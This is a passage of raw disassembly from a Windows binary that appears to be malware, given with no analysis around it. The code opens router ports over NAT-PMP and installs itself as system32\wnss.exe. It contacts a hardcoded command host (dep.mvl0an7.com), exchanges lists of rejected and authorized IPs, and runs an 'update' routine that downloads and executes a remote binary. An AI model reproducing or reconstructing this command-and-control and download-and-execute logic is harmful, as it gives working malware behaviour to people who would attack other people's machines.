var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_406D98 mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_406DE0 push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_407320 pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_406D7A mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_407690 add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_406D98 mov [ebp+var_A2], ax lea eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_406DA4 jmp loc_403552 ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_403322+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_407320 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_406D98 mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_406D98 mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_406DE6 test eax, eax jge short loc_40345B push edi call sub_406D86 xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_40345B: ; CODE XREF: sub_403322+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_407320 pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_406D80 test eax, eax jge short loc_403492 push edi call sub_406D86 xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_403492: ; CODE XREF: sub_403322+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_407320 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_406DEC test eax, eax jge short loc_4034DD call sub_406DF2 cmp eax, 274Ch jnz short loc_4034D0 cmp esi, 9 jnz short loc_40354B loc_4034D0: ; CODE XREF: sub_403322+1A7j push edi call sub_406D86 xor eax, eax jmp loc_403563 ; --------------------------------------------------------------------------- loc_4034DD: ; CODE XREF: sub_403322+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_407320 pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_40354B cmp [ebp+var_7F], 82h jnz short loc_40354B lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_40354B lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_406D98 cmp [ebx], ax jnz short loc_40354B lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_406DB6 movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_407320 add esp, 0Ch push edi call sub_406D86 movzx eax, word ptr [ebx] push eax call sub_406D98 movzx eax, ax jmp short loc_403563 ; --------------------------------------------------------------------------- loc_40354B: ; CODE XREF: sub_403322+1ACj ; sub_403322+1D4j ... inc esi shl [ebp+var_94], 1 loc_403552: ; CODE XREF: sub_403322+B5j cmp esi, 0Ah jl loc_4033DC push edi call sub_406D86 xor eax, eax loc_403563: ; CODE XREF: sub_403322+134j ; sub_403322+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403322 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40356A proc near ; DATA XREF: sub_406736+3Fo ; DMN1:00448A96o push ebx push esi push edi loc_40356D: ; CODE XREF: sub_40356A:loc_4035FBj xor ebx, ebx inc ebx loc_403570: ; CODE XREF: sub_40356A+15j push 0EA60h call dword_411D00 inc ebx cmp ebx, 3Fh jl short loc_403570 call sub_403113 mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_403322 add esp, 0Ch mov si, ax test si, si jz short loc_4035CD movzx eax, si cmp eax, dword_411010 jz short loc_4035CD movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D04 loc_4035CD: ; CODE XREF: sub_40356A+41j ; sub_40356A+4Cj movzx eax, word ptr dword_41100C push eax push eax call sub_402B02 pop ecx pop ecx test eax, eax jz short loc_4035FB mov eax, dword_41100C cmp dword_411010, eax jz short loc_4035FB push 1 push offset dword_411024 call dword_411D04 loc_4035FB: ; CODE XREF: sub_40356A+75j ; sub_40356A+82j jmp loc_40356D sub_40356A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_403604 proc near ; CODE XREF: sub_4067B0+77p push ebx cmp dword_411018, 0 jz short loc_403612 xor eax, eax jmp short loc_403656 ; --------------------------------------------------------------------------- loc_403612: ; CODE XREF: sub_403604+8j xor ebx, ebx push offset a_win32__wnss_s ; "_win32__wnss_sdm__" push 0 push 0 call dword_411D08 mov dword_411018, eax cmp dword_411018, 0 jz short loc_403654 call dword_411CE8 cmp eax, 0B7h jnz short loc_403654 xor ebx, ebx inc ebx push dword_411018 call dword_411CF8 and dword_411018, 0 loc_403654: ; CODE XREF: sub_403604+2Bj ; sub_403604+38j mov eax, ebx loc_403656: ; CODE XREF: sub_403604+Cj pop ebx retn sub_403604 endp ; =============== S U B R O U T I N E ======================================= sub_403658 proc near ; CODE XREF: sub_403FEAp ; sub_40400E+81p ... push ebx push esi xor esi, esi push offset a_win32__wnss_s ; "_win32__wnss_sdm__" push 0 push 100000h call dword_411D0C mov ebx, eax test ebx, ebx jz short loc_403680 xor esi, esi inc esi push ebx call dword_411CF8 xor ebx, ebx loc_403680: ; CODE XREF: sub_403658+1Aj mov eax, esi pop esi pop ebx retn sub_403658 endp ; =============== S U B R O U T I N E ======================================= sub_403685 proc near ; CODE XREF: sub_4067B0+C5p cmp dword_411018, 0 jz short locret_4036A1 push dword_411018 call dword_411CF8 and dword_411018, 0 locret_4036A1: ; CODE XREF: sub_403685+7j retn sub_403685 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_4036B0 xor eax, eax jmp short loc_4036F4 ; --------------------------------------------------------------------------- loc_4036B0: ; CODE XREF: DMN0:004036AAj xor ebx, ebx push offset a_win32__wnss_0 ; "_win32__wnss_sm__" push 0 push 0 call dword_411D08 mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_4036F2 call dword_411CE8 cmp eax, 0B7h jnz short loc_4036F2 xor ebx, ebx inc ebx push dword_41101C call dword_411CF8 and dword_41101C, 0 loc_4036F2: ; CODE XREF: DMN0:004036CDj ; DMN0:004036DAj mov eax, ebx loc_4036F4: ; CODE XREF: DMN0:004036AEj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4036F6 proc near ; CODE XREF: sub_406544+9p ; sub_406544:loc_4066D7p push ebx push esi xor esi, esi push offset a_win32__wnss_0 ; "_win32__wnss_sm__" push 0 push 100000h call dword_411D0C mov ebx, eax test ebx, ebx jz short loc_40371E xor esi, esi inc esi push ebx call dword_411CF8 xor ebx, ebx loc_40371E: ; CODE XREF: sub_4036F6+1Aj mov eax, esi pop esi pop ebx retn sub_4036F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403723 proc near ; CODE XREF: sub_40399A+16Ep ; sub_4067B0+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_40373B and dword ptr [esi], 0 loc_40373B: ; CODE XREF: sub_403723+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_407690 add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_40376B push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_407730 pop ecx pop ecx jmp short loc_403772 ; --------------------------------------------------------------------------- loc_40376B: ; CODE XREF: sub_403723+31j mov [ebp+var_844], 0 loc_403772: ; CODE XREF: sub_403723+46j cmp [ebp+arg_0], 0 jz short loc_40378B push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx jmp short loc_40379E ; --------------------------------------------------------------------------- loc_40378B: ; CODE XREF: sub_403723+53j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx loc_40379E: ; CODE XREF: sub_403723+66j test ebx, ebx jz short loc_4037B5 push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx loc_4037B5: ; CODE XREF: sub_403723+7Dj cmp [ebp+arg_4], 0 jz short loc_4037DF push offset asc_40EDC9 ; " " lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_407750 pop ecx pop ecx loc_4037DF: ; CODE XREF: sub_403723+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 test eax, eax jz short loc_403832 push [ebp+var_850] call dword_411CF8 test esi, esi jz short loc_403823 mov eax, [ebp+var_854] mov [esi], eax jmp short loc_40382F ; --------------------------------------------------------------------------- loc_403823: ; CODE XREF: sub_403723+F4j push [ebp+var_854] call dword_411CF8 loc_40382F: ; CODE XREF: sub_403723+FEj xor eax, eax inc eax loc_403832: ; CODE XREF: sub_403723+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_403723 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403838 proc near ; CODE XREF: sub_40399A+65p var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF0 mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_2 pop ecx pop ecx test edi, edi jnz short loc_403871 xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_403871: ; CODE XREF: sub_403838+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF4 mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_2 pop ecx pop ecx test ebx, ebx jnz short loc_4038A7 push edi call dword_411EF8 xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038A7: ; CODE XREF: sub_403838+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_4073C0 pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_4038E0 push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_2 pop ecx pop ecx push ebx call dword_411EF8 push edi call dword_411EF8 xor eax, eax jmp loc_403993 ; --------------------------------------------------------------------------- loc_4038E0: ; CODE XREF: sub_403838+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push 0 call dword_411D14 jmp short loc_403918 ; --------------------------------------------------------------------------- loc_4038FD: ; CODE XREF: sub_403838+F9j cmp [ebp+var_4], 0 jz short loc_403933 push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_407820 add esp, 10h loc_403918: ; CODE XREF: sub_403838+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411EFC test eax, eax jnz short loc_4038FD loc_403933: ; CODE XREF: sub_403838+C9j call dword_411CE8 mov [ebp+var_408], eax push esi call sub_407620 pop ecx push ebx call dword_411EF8 push edi call dword_411EF8 cmp [ebp+var_408], 0 jz short loc_40397D push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch push [ebp+arg_4] call dword_411D18 xor eax, eax jmp short loc_403993 ; --------------------------------------------------------------------------- loc_40397D: ; CODE XREF: sub_403838+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_2 add esp, 0Ch xor eax, eax inc eax loc_403993: ; CODE XREF: sub_403838+34j ; sub_403838+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403838 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40399A proc near ; DATA XREF: sub_403C3F+361o ; DMN1:004462C1o var_3400 = byte ptr -3400h var_2400 = byte ptr -2400h var_1400 = byte ptr -1400h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 3400h call sub_4077F0 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_2400], 0 mov [ebp+var_1000], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D1C lea eax, [ebp+var_2400] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp+var_3400] push eax call dword_411D20 lea eax, [ebp+var_2400] push eax push esi call sub_403838 pop ecx pop ecx test eax, eax jz loc_403B21 lea eax, [ebp+var_2400] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_3400] push eax push 0FFFh call dword_411D1C lea eax, [ebp+var_1000] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp+var_3400] push eax call dword_411D20 mov edi, dword_4128A4 push 0 lea eax, [ebp+var_1000] push eax push edi call dword_411D24 test eax, eax jz loc_403B21 push 80h lea eax, [ebp+var_1000] push eax call dword_411D28 push offset aUpdate ; "*update \"" lea eax, [ebp+var_1400] push eax call sub_407730 pop ecx pop ecx lea eax, [ebp+var_2400] push eax lea eax, [ebp+var_1400] push eax call sub_407750 pop ecx pop ecx push offset asc_40ECEC ; "\" \"" lea eax, [ebp+var_1400] push eax call sub_407750 pop ecx pop ecx push edi lea eax, [ebp+var_1400] push eax call sub_407750 pop ecx pop ecx push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_1400] push eax call sub_407750 pop ecx pop ecx lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_2 add esp, 0Ch push 0 push 1 lea eax, [ebp+var_1400] push eax lea eax, [ebp+var_1000] push eax call sub_403723 add esp, 10h test eax, eax jz short loc_403B21 loc_403B14: ; CODE XREF: sub_40399A+185j push 1770h call dword_411D00 jmp short loc_403B14 ; --------------------------------------------------------------------------- loc_403B21: ; CODE XREF: sub_40399A+6Ej ; sub_40399A+CCj ... push 0 push offset dword_411014 call dword_411D04 lea eax, [ebp+var_2400] push eax call sub_407710 pop ecx test eax, eax jz short loc_403B4C lea eax, [ebp+var_2400] push eax call dword_411D18 loc_403B4C: ; CODE XREF: sub_40399A+1A3j lea eax, [ebp+var_1000] push eax call sub_407710 pop ecx test eax, eax jz short loc_403B6A lea eax, [ebp+var_1000] push eax call dword_411D18 loc_403B6A: ; CODE XREF: sub_40399A+1C1j push ebx call sub_401076 pop ecx call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40399A endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_403B7E proc near ; CODE XREF: sub_403C3F:loc_403E14p xor ecx, ecx mov eax, ecx retn sub_403B7E endp ; =============== S U B R O U T I N E ======================================= sub_403B83 proc near ; CODE XREF: sub_403C3F+13Bp ; sub_403C3F+14Dp xor eax, eax retn sub_403B83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B86 proc near ; CODE XREF: sub_403C3F+2C6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_41285C call dword_411CCC cmp [ebp+arg_8], 0 jnz short loc_403BAE push dword_412934 call sub_401F9B pop ecx loc_403BAE: ; CODE XREF: sub_403B86+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_403BF6 ; --------------------------------------------------------------------------- loc_403BBF: ; CODE XREF: sub_403B86+72j push 0 push dword ptr [esi] push dword_412934 call sub_402049 add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_406DE0 push eax mov eax, dword_412934 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_2 add esp, 0Ch dec ebx add esi, 4 loc_403BF6: ; CODE XREF: sub_403B86+37j test ebx, ebx jg short loc_403BBF push offset dword_41285C call dword_411CD0 xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_403B86 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_403C28 ; --------------------------------------------------------------------------- loc_403C1C: ; CODE XREF: DMN0:00403C32j mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_403C28: ; CODE XREF: DMN0:00403C1Aj cmp edi, 4000h jge short loc_403C34 test ebx, ebx jnz short loc_403C1C loc_403C34: ; CODE XREF: DMN0:00403C2Ej mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C3F proc near ; DATA XREF: sub_40400E+Fo ; DMN1:0044633Eo var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_41285C call dword_411CCC push dword_412934 call sub_401F9B pop ecx push offset dword_41285C call dword_411CD0 push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_4017BE pop ecx mov [ebp+var_14], eax test eax, eax jz short loc_403C87 cmp eax, 0FFFFFFFFh jz short loc_403C87 test eax, eax jnz short loc_403C8C loc_403C87: ; CODE XREF: sub_403C3F+3Bj ; sub_403C3F+42j jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403C8C: ; CODE XREF: sub_403C3F+46j mov [ebp+var_16], 24EAh xor esi, esi and [ebp+var_C], 0 push 0 push offset dword_411024 call dword_411D04 cmp dword_411004, 0 jnz short loc_403CCA movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4023DC pop ecx pop ecx mov dword_411004, eax loc_403CCA: ; CODE XREF: sub_403C3F+6Dj movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_402449 pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_2 pop ecx pop ecx mov eax, [ebp+var_14] mov [ebp+var_1C], eax push eax call sub_406DE0 mov [ebp+var_20], eax movzx eax, [ebp+var_16] push eax push [ebp+var_20] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_2 add esp, 0Ch and [ebp+var_10], 0 call sub_401359 mov [ebp+var_10], eax test eax, eax jz loc_403FB9 push [ebp+var_10] call sub_4019C3 pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_2 pop ecx movzx eax, [ebp+var_16] push eax push [ebp+var_14] push [ebp+var_10] call sub_401567 add esp, 0Ch test eax, eax jnz short loc_403D68 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403D68: ; CODE XREF: sub_403C3F+117j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_2 pop ecx mov [ebp+var_24], 1000h call sub_403B83 push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_2 pop ecx pop ecx call sub_403B83 test eax, eax jz short loc_403D99 or [ebp+var_24], 1 loc_403D99: ; CODE XREF: sub_403C3F+154j push [ebp+var_24] movzx eax, word ptr dword_411010 push eax push esi call sub_401D76 add esp, 0Ch test eax, eax jnz short loc_403DC1 push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DC1: ; CODE XREF: sub_403C3F+170j push offset word_40EC12 call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403DEA push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403DEA: ; CODE XREF: sub_403C3F+199j test byte ptr [ebp+var_24], 1 jz loc_403EA1 push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_2 pop ecx push 10004h call sub_401048 pop ecx mov [ebp+var_30], eax mov [ebp+var_2C], eax and [ebp+var_28], 0 loc_403E14: ; CODE XREF: sub_403C3F+1F8j call sub_403B7E mov edi, eax test edi, edi jz short loc_403E39 mov edx, [ebp+var_2C] mov [edx], edi mov eax, [ebp+var_2C] add eax, 4 mov [ebp+var_2C], eax inc [ebp+var_28] cmp [ebp+var_28], 3FFFh jl short loc_403E14 loc_403E39: ; CODE XREF: sub_403C3F+1DEj mov eax, [ebp+var_28] add eax, eax add eax, eax push eax push [ebp+var_30] push 100h push esi call sub_401B8F add esp, 10h test eax, eax jnz short loc_403E6F push [ebp+var_30] call sub_401076 pop ecx push offset sub_40EBB5 call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403E6F: ; CODE XREF: sub_403C3F+215j push [ebp+var_30] call sub_401076 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_2 pop ecx push esi call sub_401F51 pop ecx mov [ebp+var_8], eax test eax, eax jz short loc_403EA1 push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EA1: ; CODE XREF: sub_403C3F+1AFj ; sub_403C3F+250j ... push 0FFFFh push 0 lea eax, [ebp+var_2] push eax push esi call sub_401D5B add esp, 10h mov ebx, eax test ebx, ebx jl loc_403FB9 movzx eax, [ebp+var_2] mov [ebp+var_28], eax cmp eax, 200h jz short loc_403EE0 cmp eax, 201h jz short loc_403F21 cmp eax, 202h jz short loc_403EF0 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403EE0: ; CODE XREF: sub_403C3F+28Cj push offset word_40EB76 call nullsub_2 pop ecx jmp loc_403FB9 ; --------------------------------------------------------------------------- loc_403EF0: ; CODE XREF: sub_403C3F+29Aj push offset byte_40EB69 call nullsub_2 pop ecx push [ebp+var_C] push ebx push dword ptr [esi+470h] call sub_403B86 add esp, 0Ch test eax, eax jz loc_403FB4 mov [ebp+var_C], 1 jmp loc_403FB4 ; --------------------------------------------------------------------------- loc_403F21: ; CODE XREF: sub_403C3F+293j test ebx, ebx jnz short loc_403F2E mov edx, [esi+470h] mov byte ptr [edx], 0 loc_403F2E: ; CODE XREF: sub_403C3F+2E4j push dword ptr [esi+470h] push offset sub_40EB56 call nullsub_2 pop ecx pop ecx test ebx, ebx jz short loc_403FB4 push dword ptr [esi+470h] call sub_407710 pop ecx test eax, eax jz short loc_403FB4 push 0 push offset dword_411014 call dword_411D2C test eax, eax jnz short loc_403FB4 push 1 push offset dword_411014 call dword_411D04 push 10000h call sub_401048 pop ecx mov [ebp+var_2C], eax push dword ptr [esi+470h] push [ebp+var_2C] call sub_407730 pop ecx pop ecx push offset sub_40EB3C call nullsub_2 pop ecx push [ebp+var_2C] push 0 push offset sub_40399A call sub_4079D0 add esp, 0Ch push eax call dword_411CF8 loc_403FB4: ; CODE XREF: sub_403C3F+29Cj ; sub_403C3F+2D0j ... jmp loc_403EA1 ; --------------------------------------------------------------------------- loc_403FB9: ; CODE XREF: sub_403C3F:loc_403C87j ; sub_403C3F+E6j ... test esi, esi jz short loc_403FC4 push esi call sub_401A3B pop ecx loc_403FC4: ; CODE XREF: sub_403C3F+37Cj cmp [ebp+var_10], 0 jz short loc_403FD3 push [ebp+var_10] call sub_4014C2 pop ecx loc_403FD3: ; CODE XREF: sub_403C3F+389j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_2 pop ecx call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_403C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_403FEA proc near ; CODE XREF: sub_403FEA+21j ; DATA XREF: sub_404967+26Bo ... call sub_403658 test eax, eax jz short loc_404000 call sub_40512B push 0 call dword_411D30 loc_404000: ; CODE XREF: sub_403FEA+7j push 3E8h call dword_411D00 jmp short sub_403FEA sub_403FEA endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40400E proc near ; DATA XREF: sub_404967+248o ; DMN1:00446ED0o var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push esi push edi and [ebp+var_4], 0 loc_404019: ; CODE XREF: sub_40400E+A4j push 0 push 0 push offset sub_403C3F call sub_4079D0 add esp, 0Ch mov esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D34 mov eax, esi push eax call dword_411CF8 cmp dword_411030, 0 jz short loc_4040B7 lea eax, [ebp+var_4] push eax call sub_401001 pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_2 pop ecx pop ecx mov ebx, edi jmp short loc_40409A ; --------------------------------------------------------------------------- loc_404074: ; CODE XREF: sub_40400E+8Ej push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_2 pop ecx pop ecx push 7D0h call dword_411D00 sub ebx, 2 call sub_403658 test eax, eax jz short loc_40409A xor ebx, ebx loc_40409A: ; CODE XREF: sub_40400E+64j ; sub_40400E+88j test ebx, ebx jg short loc_404074 push offset asc_40EADA ; "\r \r" call nullsub_2 pop ecx cmp dword_411030, 0 jz short loc_4040B7 jmp loc_404019 ; --------------------------------------------------------------------------- loc_4040B7: ; CODE XREF: sub_40400E+39j ; sub_40400E+A2j call sub_407A60 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40400E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040C3 proc near ; CODE XREF: sub_4067B0+3DFp ; sub_4067B0+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E40 test eax, eax jz short loc_40410A cmp [ebp+var_44], 6 jnb short loc_4040EC xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_4040EC: ; CODE XREF: sub_4040C3+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D38 test eax, eax jz short loc_404107 xor eax, eax jmp short loc_40410A ; --------------------------------------------------------------------------- loc_404107: ; CODE XREF: sub_4040C3+3Ej xor eax, eax inc eax loc_40410A: ; CODE XREF: sub_4040C3+1Dj ; sub_4040C3+27j ... mov esp, ebp pop ebp retn sub_4040C3 endp ; =============== S U B R O U T I N E ======================================= sub_40410E proc near ; CODE XREF: sub_405B88+1p ; sub_405CA2:loc_405D18p ... push ebx cmp dword_411028, 0 jz short loc_40411C xor eax, eax jmp short loc_404160 ; --------------------------------------------------------------------------- loc_40411C: ; CODE XREF: sub_40410E+8j xor ebx, ebx push offset a_win32__wnss_u ; "_win32__wnss_um__" push 0 push 0 call dword_411D08 mov dword_411028, eax cmp dword_411028, 0 jz short loc_40415E call dword_411CE8 cmp eax, 0B7h jnz short loc_40415E xor ebx, ebx inc ebx push dword_411028 call dword_411CF8 and dword_411028, 0 loc_40415E: ; CODE XREF: sub_40410E+2Bj ; sub_40410E+38j mov eax, ebx loc_404160: ; CODE XREF: sub_40410E+Cj pop ebx retn sub_40410E endp ; =============== S U B R O U T I N E ======================================= sub_404162 proc near ; CODE XREF: sub_405B88+3Dp ; sub_405CA2+5Ap ... cmp dword_411028, 0 jz short locret_40417E push dword_411028 call dword_411CF8 and dword_411028, 0 locret_40417E: ; CODE XREF: sub_404162+7j retn 